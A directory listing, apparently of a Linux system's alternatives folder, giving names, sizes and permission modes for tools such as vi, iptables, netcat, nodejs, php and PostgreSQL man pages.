| ex.1.gz | File | 5.38 KB | 0644 |
|
| ex.da.1.gz | File | 5.51 KB | 0644 |
|
| ex.de.1.gz | File | 6.72 KB | 0644 |
|
| ex.fr.1.gz | File | 6.37 KB | 0644 |
|
| ex.it.1.gz | File | 5.96 KB | 0644 |
|
| ex.ja.1.gz | File | 5.73 KB | 0644 |
|
| ex.pl.1.gz | File | 6.15 KB | 0644 |
|
| ex.ru.1.gz | File | 6.96 KB | 0644 |
|
| ftp | File | 178.9 KB | 0755 |
|
| ftp.1.gz | File | 16.84 KB | 0644 |
|
| infobrowser | File | 301.74 KB | 0755 |
|
| infobrowser.1.gz | File | 1.38 KB | 0644 |
|
| initdb.1.gz | File | 4.19 KB | 0644 |
|
| ip6tables | File | 219.04 KB | 0755 |
|
| ip6tables-restore | File | 219.04 KB | 0755 |
|
| ip6tables-save | File | 219.04 KB | 0755 |
|
| iptables | File | 219.04 KB | 0755 |
|
| iptables-restore | File | 219.04 KB | 0755 |
|
| iptables-save | File | 219.04 KB | 0755 |
|
| java | File | 14.13 KB | 0755 |
|
| java.1.gz | File | 46.54 KB | 0644 |
|
| jexec | File | 14.12 KB | 0755 |
|
| jexec-binfmt | File | 63 B | 0644 |
|
| jpackage | File | 14.14 KB | 0755 |
|
| jpackage.1.gz | File | 4.33 KB | 0644 |
|
| js | File | 117.69 MB | 0755 |
|
| js.1.gz | File | 9.27 KB | 0644 |
|
| jsondiff | File | 1004 B | 0755 |
|
| keytool | File | 14.14 KB | 0755 |
|
| keytool.1.gz | File | 25.63 KB | 0644 |
|
| lzcat | File | 82.52 KB | 0755 |
|
| lzcat.1.gz | File | 20.17 KB | 0644 |
|
| lzcmp | File | 6.86 KB | 0755 |
|
| lzcmp.1.gz | File | 664 B | 0644 |
|
| lzdiff | File | 6.86 KB | 0755 |
|
| lzdiff.1.gz | File | 664 B | 0644 |
|
| lzegrep | File | 5.87 KB | 0755 |
|
| lzegrep.1.gz | File | 706 B | 0644 |
|
| lzfgrep | File | 5.87 KB | 0755 |
|
| lzfgrep.1.gz | File | 706 B | 0644 |
|
| lzgrep | File | 5.87 KB | 0755 |
|
| lzgrep.1.gz | File | 706 B | 0644 |
|
| lzless | File | 1.76 KB | 0755 |
|
| lzless.1.gz | File | 743 B | 0644 |
|
| lzma | File | 82.52 KB | 0755 |
|
| lzma.1.gz | File | 20.17 KB | 0644 |
|
| lzmore | File | 2.11 KB | 0755 |
|
| lzmore.1.gz | File | 636 B | 0644 |
|
| mt | File | 66.73 KB | 0755 |
|
| mt.1.gz | File | 1.98 KB | 0644 |
|
| my.cnf | File | 1.1 KB | 0644 |
|
| nawk | File | 688.46 KB | 0755 |
|
| nawk.1.gz | File | 30.16 KB | 0644 |
|
| nc | File | 38.63 KB | 0755 |
|
| nc.1.gz | File | 6.16 KB | 0644 |
|
| netcat | File | 38.63 KB | 0755 |
|
| netcat.1.gz | File | 6.16 KB | 0644 |
|
| newt-palette | File | 160 B | 0644 |
|
| nodejs | File | 117.69 MB | 0755 |
|
| nodejs.1.gz | File | 9.27 KB | 0644 |
|
| oid2name.1.gz | File | 3.12 KB | 0644 |
|
| open | File | 18.06 KB | 0755 |
|
| open.1.gz | File | 1.5 KB | 0644 |
|
| pager | File | 194.38 KB | 0755 |
|
| pager.1.gz | File | 22.41 KB | 0644 |
|
| pg_amcheck.1.gz | File | 4.1 KB | 0644 |
|
| pg_archivecleanup.1.gz | File | 2.03 KB | 0644 |
|
| pg_basebackup.1.gz | File | 7.83 KB | 0644 |
|
| pg_checksums.1.gz | File | 1.83 KB | 0644 |
|
| pg_controldata.1.gz | File | 1 KB | 0644 |
|
| pg_ctl.1.gz | File | 4.83 KB | 0644 |
|
| pg_dump.1.gz | File | 12.2 KB | 0644 |
|
| pg_dumpall.1.gz | File | 6.86 KB | 0644 |
|
| pg_isready.1.gz | File | 1.71 KB | 0644 |
|
| pg_receivewal.1.gz | File | 4.12 KB | 0644 |
|
| pg_recvlogical.1.gz | File | 3.21 KB | 0644 |
|
| pg_resetwal.1.gz | File | 3.61 KB | 0644 |
|
| pg_restore.1.gz | File | 8.18 KB | 0644 |
|
| pg_rewind.1.gz | File | 4.29 KB | 0644 |
|
| pg_test_fsync.1.gz | File | 1.32 KB | 0644 |
|
| pg_test_timing.1.gz | File | 3.8 KB | 0644 |
|
| pg_upgrade.1.gz | File | 7.81 KB | 0644 |
|
| pg_verifybackup.1.gz | File | 2.96 KB | 0644 |
|
| pg_waldump.1.gz | File | 1.91 KB | 0644 |
|
| pgbench.1.gz | File | 16.42 KB | 0644 |
|
| phar | File | 14.88 KB | 0755 |
|
| phar.1.gz | File | 2.75 KB | 0644 |
|
| phar.phar | File | 14.88 KB | 0755 |
|
| phar.phar.1.gz | File | 36 B | 0644 |
|
| php | File | 5.75 MB | 0755 |
|
| File | 0 B | 0660 |
|
|
| php.1.gz | File | 3.71 KB | 0644 |
|
| pico | File | 276.52 KB | 0755 |
|
| pico.1.gz | File | 7.39 KB | 0644 |
|
| pinentry | File | 58.65 KB | 0755 |
|
| pinentry.1.gz | File | 1.38 KB | 0644 |
|
| postgres.1.gz | File | 6.98 KB | 0644 |
|
| postmaster.1.gz | File | 591 B | 0644 |
|
| psql.1.gz | File | 34.72 KB | 0644 |
|
| pybabel | File | 953 B | 0755 |
|
| rcp | File | 130.59 KB | 0755 |
|
| rcp.1.gz | File | 3.09 KB | 0644 |
|
| reindexdb.1.gz | File | 2.69 KB | 0644 |
|
| rlogin | File | 827.04 KB | 0755 |
|
| rlogin.1.gz | File | 14.92 KB | 0644 |
|
| rmiregistry | File | 14.15 KB | 0755 |
|
| rmiregistry.1.gz | File | 1.45 KB | 0644 |
|
| rmt | File | 58.57 KB | 0755 |
|
| rmt.8.gz | File | 2.34 KB | 0644 |
|
| rsh | File | 827.04 KB | 0755 |
|
| rsh.1.gz | File | 14.92 KB | 0644 |
|
| rview | File | 3.61 MB | 0755 |
|
| rvim | File | 3.61 MB | 0755 |
|
| sar | File | 133.45 KB | 0755 |
|
| sar.1.gz | File | 14.27 KB | 0644 |
|
| telnet | File | 107.56 KB | 0755 |
|
| telnet.1.gz | File | 8.8 KB | 0644 |
|
| text.plymouth | File | 205 B | 0644 |
|
| unlzma | File | 82.52 KB | 0755 |
|
| unlzma.1.gz | File | 20.17 KB | 0644 |
|
| vacuumdb.1.gz | File | 3.7 KB | 0644 |
|
| vacuumlo.1.gz | File | 1.94 KB | 0644 |
|
| vi | File | 3.61 MB | 0755 |
|
| vi.1.gz | File | 5.38 KB | 0644 |
|
| vi.da.1.gz | File | 5.51 KB | 0644 |
|
| vi.de.1.gz | File | 6.72 KB | 0644 |
|
| vi.fr.1.gz | File | 6.37 KB | 0644 |
|
| vi.it.1.gz | File | 5.96 KB | 0644 |
|
| vi.ja.1.gz | File | 5.73 KB | 0644 |
|
| vi.pl.1.gz | File | 6.15 KB | 0644 |
|
| vi.ru.1.gz | File | 6.96 KB | 0644 |
|
| view | File | 3.61 MB | 0755 |
|
| view.1.gz | File | 5.38 KB | 0644 |
|
| view.da.1.gz | File | 5.51 KB | 0644 |
|
| view.de.1.gz | File | 6.72 KB | 0644 |
|
| view.fr.1.gz | File | 6.37 KB | 0644 |
|
| view.it.1.gz | File | 5.96 KB | 0644 |
|
| view.ja.1.gz | File | 5.73 KB | 0644 |
|
| view.pl.1.gz | File | 6.15 KB | 0644 |
|
| view.ru.1.gz | File | 6.96 KB | 0644 |
|
| vim | File | 3.61 MB | 0755 |
|
| vimdiff | File | 3.61 MB | 0755 |
|
| vtrgb | File | 158 B | 0644 |
|
| which | File | 946 B | 0755 |
|
| which.1.gz | File | 431 B | 0644 |
|
| which.de1.gz | File | 797 B | 0644 |
|
| which.es1.gz | File | 556 B | 0644 |
|
| which.fr1.gz | File | 864 B | 0644 |
|
| which.it1.gz | File | 553 B | 0644 |
|
| which.ja1.gz | File | 685 B | 0644 |
|
| which.pl1.gz | File | 751 B | 0644 |
|
| which.sl1.gz | File | 616 B | 0644 |
|
| write | File | 22.38 KB | 0755 |
|
| write.1.gz | File | 1.38 KB | 0644 |
|
| x-cursor-theme | File | 30 B | 0644 |
|